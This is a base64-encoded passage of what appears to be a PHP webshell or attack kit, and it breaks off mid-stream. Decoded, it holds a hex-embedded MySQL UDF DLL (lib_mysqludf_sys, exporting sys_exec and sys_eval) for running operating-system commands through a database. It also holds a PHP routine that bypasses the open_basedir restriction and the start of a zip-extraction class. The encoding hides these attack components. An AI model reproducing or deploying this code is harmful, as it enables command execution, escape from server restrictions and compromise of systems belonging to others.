Q2NTcyMDA0RTAyNUY2RDYxNkM2QzZGNjM1RjYzNzI3NDAwQ0UwMTVGNjk2RTY5NzQ3NDY1NzI2RDAwQ0YwMTVGNjk2RTY5NzQ3NDY1NzI2RDVGNjUwMDM4MDE1RjY1NkU2MzZGNjQ2NTY0NUY2RTc1NkM2QzAwMkQwMTVGNjQ2NTYzNkY2NDY1NUY3MDZGNjk2RTc0NjU3MjAwRTIwMDVGNjE2RDczNjc1RjY1Nzg2OTc0MDAwMDU5MDA1RjVGNDM1RjczNzA2NTYzNjk2NjY5NjM1RjY4NjE2RTY0NkM2NTcyMDAwMDVBMDA1RjVGNDM3MDcwNTg2MzcwNzQ0NjY5NkM3NDY1NzIwMDgzMDA1RjVGNjM3Mjc0NUY2NDY1NjI3NTY3Njc2NTcyNUY2ODZGNkY2QjAwN0IwMDVGNUY2MzZDNjU2MTZFNUY3NDc5NzA2NTVGNjk2RTY2NkY1RjZFNjE2RDY1NzM1RjY5NkU3NDY1NzI2RTYxNkMwMDAwQTQwMzVGNzU2RTZDNkY2MzZCMDA4NTAwNUY1RjY0NkM2QzZGNkU2NTc4Njk3NDAwM0QwMjVGNkM2RjYzNkIwMEU0MDI1RjZGNkU2NTc4Njk3NDAwMjUwNDUzNkM2NTY1NzAwMDMxMDQ1NDY1NzI2RDY5NkU2MTc0NjU1MDcyNkY2MzY1NzM3MzAwMDBBQTAxNDc2NTc0NDM3NTcyNzI2NTZFNzQ1MDcyNkY2MzY1NzM3MzAwNDIwNDU1NkU2ODYxNkU2NDZDNjU2NDQ1Nzg2MzY1NzA3NDY5NkY2RTQ2Njk2Qzc0NjU3MjAwMDAxOTA0NTM2NTc0NTU2RTY4NjE2RTY0NkM2NTY0NDU3ODYzNjU3MDc0Njk2RjZFNDY2OTZDNzQ2NTcyMDBDQjAyNDk3MzQ0NjU2Mjc1Njc2NzY1NzI1MDcyNjU3MzY1NkU3NDAwOTcwMzUyNzQ2QzU2Njk3Mjc0NzU2MTZDNTU2RTc3Njk2RTY0MDAwMDkwMDM1Mjc0NkM0QzZGNkY2Qjc1NzA0Njc1NkU2Mzc0Njk2RjZFNDU2RTc0NzI3OTAwMDA4OTAzNTI3NDZDNDM2MTcwNzQ3NTcyNjU0MzZGNkU3NDY1Nzg3NDAwQ0MwMDQ0Njk3MzYxNjI2QzY1NTQ2ODcyNjU2MTY0NEM2OTYyNzI2MTcyNzk0MzYxNkM2QzczMDA0RTAzNTE3NTY1NzI3OTUwNjU3MjY2NkY3MjZENjE2RTYzNjU0MzZGNzU2RTc0NjU3MjAwNjYwMjQ3NjU3NDU0Njk2MzZCNDM2Rjc1NkU3NDAwMDBBRTAxNDc2NTc0NDM3NTcyNzI2NTZFNzQ1NDY4NzI2NTYxNjQ0OTY0MDAwMEFCMDE0NzY1NzQ0Mzc1NzI3MjY1NkU3NDUwNzI2RjYzNjU3MzczNDk2NDAwNEYwMjQ3NjU3NDUzNzk3Mzc0NjU2RDU0Njk2RDY1NDE3MzQ2Njk2QzY1NTQ2OTZENjUwMEYwMDQ2RDY1NkQ2MzcwNzkwMDAwMDAwMDAwMDAwMDAwNzBCMTgzNEIwMDAwMDAwMERDMzkwMDAwMDEwMDAwMDAxMjAwMDAwMDEyMDAwMDAwMjgzOTAwMDA3MDM5MDAwMEI4MzkwMDAwNjAxMDAwMDAzMDE1MDAwMDAwMTAwMDAwNDAxNTAwMDAzMDE1MDAwMDIwMTUwMDAwRTAxMzAwMDAzMDE1MDAwMDUwMTMwMDAwQzAxMzAwMDAzMDE1MDAwMDUwMTMwMDAwMjAxMTAwMDAzMDE1MDAwMEIwMTAwMDAwRDAxMjAwMDBCMDEyMDAwMDgwMTEwMDAwRjEzOTAwMDAwNzNBMDAwMDI0M0EwMDAwM0YzQTAwMDA0QjNBMDAwMDVFM0EwMDAwNkYzQTAwMDA3ODNBMDAwMDg4M0EwMDAwOTYzQTAwMDA5RjNBMDAwMEFGM0EwMDAwQkQzQTAwMDBDNTNBMDAwMEQ0M0EwMDAwRTEzQTAwMDBFOTNBMDAwMEY4M0EwMDAwMDAwMDAxMDAwMjAwMDMwMDA0MDAwNTAwMDYwMDA3MDAwODAwMDkwMDBBMDAwQjAwMEMwMDBEMDAwRTAwMEYwMDEwMDAxMTAwNkM2OTYyNUY2RDc5NzM3MTZDNzU2NDY2NUY3Mzc5NzMyRTY0NkM2QzAwNkM2OTYyNUY2RDc5NzM3MTZDNzU2NDY2NUY3Mzc5NzM1RjY5NkU2NjZGMDA2QzY5NjI1RjZENzk3MzcxNkM3NTY0NjY1RjczNzk3MzVGNjk2RTY2NkY1RjY0NjU2OTZFNjk3NDAwNkM2OTYyNUY2RDc5NzM3MTZDNzU2NDY2NUY3Mzc5NzM1RjY5NkU2NjZGNUY2OTZFNjk3NDAwNzM3OTczNUY2MjY5NkU2NTc2NjE2QzAwNzM3OTczNUY2MjY5NkU2NTc2NjE2QzVGNjQ2NTY5NkU2OTc0MDA3Mzc5NzM1RjYyNjk2RTY1NzY2MTZDNUY2OTZFNjk3NDAwNzM3OTczNUY2NTc2NjE2QzAwNzM3OTczNUY2NTc2NjE2QzVGNjQ2NTY5NkU2OTc0MDA3Mzc5NzM1RjY1NzY2MTZDNUY2OTZFNjk3NDAwNzM3OTczNUY2NTc4NjU2MzAwNzM3OTczNUY2NTc4NjU2MzVGNjQ2NTY5NkU2OTc0MDA3Mzc5NzM1RjY1Nzg2NTYzNUY2OTZFNjk3NDAwNzM3OTczNUY2NzY1NzQwMDczNzk3MzVGNjc2NTc0NUY2NDY1Njk2RTY5NzQwMDczNzk3MzVGNjc2NTc0NUY2OTZFNjk3NDAwNzM3OTczNUY3MzY1NzQwMDczNzk3MzVGNzM2NTc0NUY2NDY1Njk2RTY5NzQwMDczNzk3MzVGNzM2NTc0NUY2OTZFNjk3NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMyQTJERjJEOTkyQjAwMDBDRDVEMjBEMjY2RDRGRkZGRkZGRkZGRkZGRkZGRkZGRjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAyMDExMDAwMDcyMTEwMDAwMkMzNDAwMDA4MDExMDAwMEFDMTIwMDAwMjAzNDAwMDBCMDEyMDAwMEM4MTIwMDAwNzgzMzAwMDBEMDEyMDAwMDRFMTMwMDAwMTgzMzAwMDBDMDEzMDAwMEQ4MTMwMDAwNzgzMzAwMDBFMDEzMDAwMDBGMTQwMDAwMDQzNDAwMDAwRjE0MDAwMDU4MTQwMDAwRjAzMzAwMDA1ODE0MDAwMEJFMTQwMDAwREMzMzAwMDBCRTE0MDAwMEQ0MTQwMDAwQ0MzMzAwMDBENDE0MDAwMDFCMTUwMDAwQkMzMzAwMDA0MDE1MDAwMEQ3MTUwMDAwQUMzMzAwMDBFMDE1MDAwMEYyMTUwMDAwOEMzMzAwMDA0MDE2MDAwMDlFMTYwMDAwMzgzNDAwMDBBMDE2MDAwMEY5MTgwMDAwQzAzMjAwMDBGQzE4MDAwMDMxMUEwMDAwREMzMjAwMDAzNDFBMDAwMDcxMUEwMDAwMTgzMzAwMDA3NDFBMDAwMEJFMUIwMDAwMjgzMzAwMDBDQzFCMDAwMDdDMUMwMDAwMzgzMzAwMDA3QzFDMDAwMDkzMUMwMDAwNzgzMzAwMDA5NDFDMDAwMENDMUMwMDAwMjAzNDAwMDBDQzFDMDAwMDA0MUQwMDAwMjAzNDAwMDA5MDFEMDAwMEQxMUQwMDAwNTgzMzAwMDBGMDFEMDAwMDEzMUUwMDAwNzgzMzAwMDAxNDFFMDAwMEM3MUUwMDAwODAzMzAwMDBGNDFFMDAwMDU3MUYwMDAwMzgzNDAwMDA1ODFGMDAwMDc1MUYwMDAwNzgzMzAwMDA4MDFGMDAwMEEzMUYwMDAwMzAzMzAwMDBCMDFGMDAwMEM5MUYwMDAwMzAzMzAwMDBDOTFGMDAwMEUyMUYwMDAwMzAzMzAwMDBGMDFGMDAwMDExMjAwMDAwMzAzMzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAxMDAxODAwMDAwMDE4MDAwMDgwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAxMDAwMjAwMDAwMDMwMDAwMDgwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAxMDAwOTA0MDAwMDQ4MDAwMDAwNTg2MDAwMDA1ODAyMDAwMEU0MDQwMDAwMDAwMDAwMDAzQzYxNzM3MzY1NkQ2MjZDNzkyMDc4NkQ2QzZFNzMzRDIyNzU3MjZFM0E3MzYzNjg2NTZENjE3MzJENkQ2OTYzNzI2RjczNkY2Njc0MkQ2MzZGNkQzQTYxNzM2RDJFNzYzMTIyMjA2RDYxNkU2OTY2NjU3Mzc0NTY2NTcyNzM2OTZGNkUzRDIyMzEyRTMwMjIzRTBEMEEyMDIwM0M3NDcyNzU3Mzc0NDk2RTY2NkYyMDc4NkQ2QzZFNzMzRDIyNzU3MjZFM0E3MzYzNjg2NTZENjE3MzJENkQ2OTYzNzI2RjczNkY2Njc0MkQ2MzZGNkQzQTYxNzM2RDJFNzYzMzIyM0UwRDBBMjAyMDIwMjAzQzczNjU2Mzc1NzI2OTc0NzkzRTBEMEEyMDIwMjAyMDIwMjAzQzcyNjU3MTc1NjU3Mzc0NjU2NDUwNzI2OTc2Njk2QzY1Njc2NTczM0UwRDBBMjAyMDIwMjAyMDIwMjAyMDNDNzI2NTcxNzU2NTczNzQ2NTY0NDU3ODY1NjM3NTc0Njk2RjZFNEM2NTc2NjU2QzIwNkM2NTc2NjU2QzNEMjI2MTczNDk2RTc2NkY2QjY1NzIyMjIwNzU2OTQxNjM2MzY1NzM3MzNEMjI2NjYxNkM3MzY1MjIzRTNDMkY3MjY1NzE3NTY1NzM3NDY1NjQ0NTc4NjU2Mzc1NzQ2OTZGNkU0QzY1NzY2NTZDM0UwRDBBMjAyMDIwMjAyMDIwM0MyRjcyNjU3MTc1NjU3Mzc0NjU2NDUwNzI2OTc2Njk2QzY1Njc2NTczM0UwRDBBMjAyMDIwMjAzQzJGNzM2NTYzNzU3MjY5NzQ3OTNFMEQwQTIwMjAzQzJGNzQ3Mjc1NzM3NDQ5NkU2NjZGM0UwRDBBMjAyMDNDNjQ2NTcwNjU2RTY0NjU2RTYzNzkzRTBEMEEyMDIwMjAyMDNDNjQ2NTcwNjU2RTY0NjU2RTc0NDE3MzczNjU2RDYyNkM3OTNFMEQwQTIwMjAyMDIwMjAyMDNDNjE3MzczNjU2RDYyNkM3OTQ5NjQ2NTZFNzQ2OTc0NzkyMDc0Nzk3MDY1M0QyMjc3Njk2RTMzMzIyMjIwNkU2MTZENjUzRDIyNEQ2OTYzNzI2RjczNkY2Njc0MkU1NjQzMzkzMDJFNDM1MjU0MjIyMDc2NjU3MjczNjk2RjZFM0QyMjM5MkUzMDJFMzIzMTMwMzIzMjJFMzgyMjIwNzA3MjZGNjM2NTczNzM2RjcyNDE3MjYzNjg2OTc0NjU2Mzc0NzU3MjY1M0QyMjYxNkQ2NDM2MzQyMjIwNzA3NTYyNkM2OTYzNEI2NTc5NTQ2RjZCNjU2RTNEMjIzMTY2NjMzODYyMzM2MjM5NjEzMTY1MzEzODY1MzM2MjIyM0UzQzJGNjE3MzczNjU2RDYyNkM3OTQ5NjQ2NTZFNzQ2OTc0NzkzRTBEMEEyMDIwMjAyMDNDMkY2NDY1NzA2NTZFNjQ2NTZFNzQ0MTczNzM2NTZENjI2Qzc5M0UwRDBBMjAyMDNDMkY2NDY1NzA2NTZFNjQ2NTZFNjM3OTNFMEQwQTNDMkY2MTczNzM2NTZENjI2Qzc5M0U1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDc1MDQxNDQ0NDQ5NEU0NzU4NTg1MDQxNDQ0NDQ5NEU0NzUwNDE0NDQ0NDk0RTQ3NTg1ODUwNDE0NDQ0NDk0RTQ3NTA0MTQ0NDQ0OTRFNDc1ODU4NTA0MTQ0NDQ0OTRFNDcwMDMwMDAwMDEwMDAwMDAwODhBMUEwQTFBOEExMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwIjsKfQoKZnVuY3Rpb24gYnlwYXNzX29wZW5fYmFzZWRpcigpewogICAgaWYgKCFmaWxlX2V4aXN0cygnNzBiZjI3NDk1ZGYxYzBjOCcpKSB7CiAgICAgICAgbWtkaXIoJzcwYmYyNzQ5NWRmMWMwYzgnKTsKICAgIH0KICAgIGNoZGlyKCc3MGJmMjc0OTVkZjFjMGM4Jyk7CiAgICBpbmlfc2V0KCdvcGVuX2Jhc2VkaXInLCAnLi4nKTsKICAgICRmaWxlTmFtZSA9IEBkaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsICcvJywgJGZpbGVOYW1lKTsKICAgICRudW0gPSBzdWJzdHJfY291bnQoJHBhdGgsICcvJykgKyAxOwogICAgJGkgPSAwOwogICAgd2hpbGUgKCRpIDwgJG51bSkgewogICAgICAgIGNoZGlyKCcuLicpOwogICAgICAgICRpKys7CiAgICB9CiAgICBpbmlfc2V0KCdvcGVuX2Jhc2VkaXInLCAnLycpOwogICAgcm1kaXIoJGZpbGVOYW1lIC4gJy8nIC4gJzcwYmYyNzQ5NWRmMWMwYzgnKTsKfQoKY2xhc3MgemlwCnsKCiAgICB2YXIgJHRvdGFsX2ZpbGVzID0gMDsKICAgIHZhciAkdG90YWxfZm9sZGVycyA9IDA7CgogICAgZnVuY3Rpb24gRXh0cmFjdCgkem4sICR0bywgJGluZGV4ID0gQXJyYXkoLTEpKQogICAgewogICAgICAgICRvayA9IDA7CiAgICAgICAgJHppcCA9IEBmb3Blbigkem4sICdyYicpOwogICAgICAgIGlmICghJHppcCkgcmV0dXJuICgtMSk7CiAgICAgICAgJGNkaXIgPSAkdGhpcy0+UmVhZENlbnRyYWxEaXIoJHppcCwgJHpuKTsKICAgICAgICAkcG9zX2VudHJ5ID0gJGNkaXJbJ29mZnNldCddOwoKICAgICAgICBpZiAoIWlzX2FycmF5KCRpbmRleCkpIHsKICAgICAgICAgICAgJGluZGV4ID0gYXJyYXkoJGluZGV4KTsKICAgICAgICB9CiAgICAgICAgZm9yICgkaSA9IDA7ICRpbmRleFskaV07ICRpKyspIHsKICAgICAgICAgICAgaWYgKGludHZhbCgkaW5kZXhbJGldKSAhPSAkaW5kZXhbJGldIHx8ICRpbmRleFskaV0gPiAkY2RpclsnZW50cmllcyddKQogICAgICAgICAgICAgICAgcmV0dXJuICgtMSk7CiAgICAgICAgfQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjZGlyWydlbnRyaWVzJ107ICRpKyspIHsKICAgICAgICAgICAgQGZzZWVrKCR6aXAsICRwb3NfZW50cnkpOwogICAgICAgICAgICAkaGVhZGVyID0gJHRoaXMtPlJlYWRDZW50cmFsRmlsZUhlYWRlcnMoJHppcCk7CiAgICAgICAgICAgICRoZWFkZXJbJ2luZGV4J10gPSAkaTsKICAgICAgICAgICAgJHBvc19lbnRyeSA9IGZ0ZWxsKCR6aXApOwogICAgICAgICAgICBAcmV3aW5kKCR6aXApOwogICAgICAgICAgICBmc2VlaygkemlwLCAkaGVhZGVyWydvZmZzZXQnXSk7CiAgICAgICAgICAgIGlmIChpbl9hcnJheSgiLTEiLCAkaW5kZXgpIHx8IGluX2FycmF5KCRpLCAkaW5kZXgpKQogICAgICAgICAgICAgICAgJHN0YXRbJGhlYWRlclsnZmlsZW5hbWUnXV0gPSAkdGhpcy0+RXh0cmFjdEZpbGUoJGhlYWRlciwgJHRvLCAkemlwKTsKICAgICAgICB9CiAgICAgICAgZmNsb3NlKCR6aXApOwogICAgICAgIHJldHVybiAkc3RhdDsKICAgIH0KCiAgICBmdW5jdGlvbiBSZWFkRmlsZUhlYWRlcigkemlwKQogICAgewogICAgICAgICRiaW5hcnlfZGF0YSA9IGZyZWFkKCR6aXAsIDMwKTsKICAgICAgICAkZGF0YSA9IHVucGFjaygndmNoay92aWQvdnZlcnNpb24vdmZsYWcvdmNvbXByZXNzaW9uL3ZtdGltZS92bWRhdGUvVmNyYy9WY29tcHJlc3NlZF9zaXplL1ZzaXplL3ZmaWxlbmFtZV9sZW4vdmV4dHJhX2xlbicsICRiaW5hcnlfZGF0YSk7CgogICAgICAgICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSBmcmVhZCgkemlwLCAkZGF0YVsnZmlsZW5hbWVfbGVuJ10pOwogICAgICAgIGlmICgkZGF0YVsnZXh0cmFfbGVuJ10gIT0gMCkgewogICAgICAgICAgICAkaGVhZGVyWydleHRyYSddID0gZnJlYWQoJHppcCwgJGRhdGFbJ2V4dHJhX2xlbiddKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkaGVhZGVyWydleHRyYSddID0gJyc7CiAgICAgICAgfQoKICAgICAgICAkaGVhZGVyWydjb21wcmVzc2lvbiddID0gJGRhdGFbJ2NvbXByZXNzaW9uJ107CiAgICAgICAgJGhlYWRlclsnc2l6ZSddID0gJGRhdGFbJ3NpemUnXTsKICAgICAgICAkaGVhZGVyWydjb21wcmVzc2VkX3NpemUnXSA9ICRkYXRhWydjb21wcmVzc2VkX3NpemUnXTsKICAgICAgICAkaGVhZGVyWydjcmMnXSA9ICRkYXRhWydjcmMnXTsKICAgICAgICAkaGVhZGVyWydmbGFnJ10gPSAkZGF0YVsnZmxhZyddOwogICAgICAgICRoZWFkZXJbJ21kYXRlJ10gPSAkZGF0YVsnbWRhdGUnXTsKICAgICAgICAkaGVhZGVyWydtdGltZSddID0gJGRhdGFbJ210aW1lJ107CgogICAgICAgIGlmICgkaGVhZGVyWydtZGF0ZSddICYmICRoZWFkZXJbJ210aW1lJ10pIHsKICAgICAgICAgICAgJGhvdXIgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4RjgwMCkgPj4gMTE7CiAgICAgICAgICAgICRtaW51dGUgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4MDdFMCkgPj4gNTsKICAgICAgICAgICAgJHNlY29uZGUgPSAoJGhlYWRlclsnbXRpbWUnXSAmIDB4MDAxRikgKiAyOwogICAgICAgICAgICAkeWVhciA9ICgoJGhlYWRlclsnbWRhdGUnXSAmIDB4RkUwMCkgPj4gOSkgKyAxOTgwOwogICAgICAgICAgICAkbW9udGggPSAoJGhlYWRlclsnbWRhdGUnXSAmIDB4MDFFMCkgPj4gNTsKICAgICAgICAgICAgJGRheSA9ICRoZWFkZXJbJ21kYXRlJ10gJiAweDAwMUY7CiAgICAgICAgICAgICRoZWFkZXJbJ210aW1lJ10gPSBta3RpbWUoJGhvdXIsICRtaW51dGUsICRzZWNvbmRlLCAkbW9udGgsICRkYXksICR5ZWFyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkaGVhZGVyWydtdGltZSddID0gdGltZSgpOwogICAgICAgIH0KCiAgICAgICAgJGhlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10gPSAkaGVhZGVyWydmaWxlbmFtZSddOwogICAgICAgICRoZWFkZXJbJ3N0YXR1cyddID0gIm9rIjsKICAgICAgICByZXR1cm4gJGhlYWRlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBSZWFkQ2VudHJhbEZpbGVIZWFkZXJzKCR6aXApCiAgICB7CiAgICAgICAgJGJpbmFyeV9kYXRhID0gZnJlYWQoJHppcCwgNDYpOwogICAgICAgICRoZWFkZXIgPSB1bnBhY2soJ3ZjaGtpZC92aWQvdnZlcnNpb24vdnZlcnNpb25fZXh0cmFjdGVkL3ZmbGFnL3Zjb21wcmVzc2lvbi92bXRpbWUvdm1kYXRlL1ZjcmMvVmNvbXByZXNzZWRfc2l6ZS9Wc2l6ZS92ZmlsZW5hbWVfbGVuL3ZleHRyYV9sZW4vdmNvbW1lbnRfbGVuL3ZkaXNrL3ZpbnRlcm5hbC9WZXh0ZXJuYWwvVm9mZnNldCcsICRiaW5hcnlfZGF0YSk7CgogICAgICAgIGlmICgkaGVhZGVyWydmaWxlbmFtZV9sZW4nXSAhPSAwKQogICAgICAgICAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gZnJlYWQoJHppcCwgJGhlYWRlclsnZmlsZW5hbWVfbGVuJ10pOwogICAgICAgIGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOwoKICAgICAgICBpZiAoJGhlYWRlclsnZXh0cmFfbGVuJ10gIT0gMCkKICAgICAgICAgICAgJGhlYWRlclsnZXh0cmEnXSA9IGZyZWFkKCR6aXAsICRoZWFkZXJbJ2V4dHJhX2xlbiddKTsKICAgICAgICBlbHNlICRoZWFkZXJbJ2V4dHJhJ10gPSAnJzsKCiAgICAgICAgaWYgKCRoZWFkZXJbJ2NvbW1lbnRfbGVuJ10gIT0gMCkKICAgICAgICAgICAgJGhlYWRlclsnY29tbWVudCddID0gZnJlYWQoJHppcCwgJGhlYWRlclsnY29tbWVudF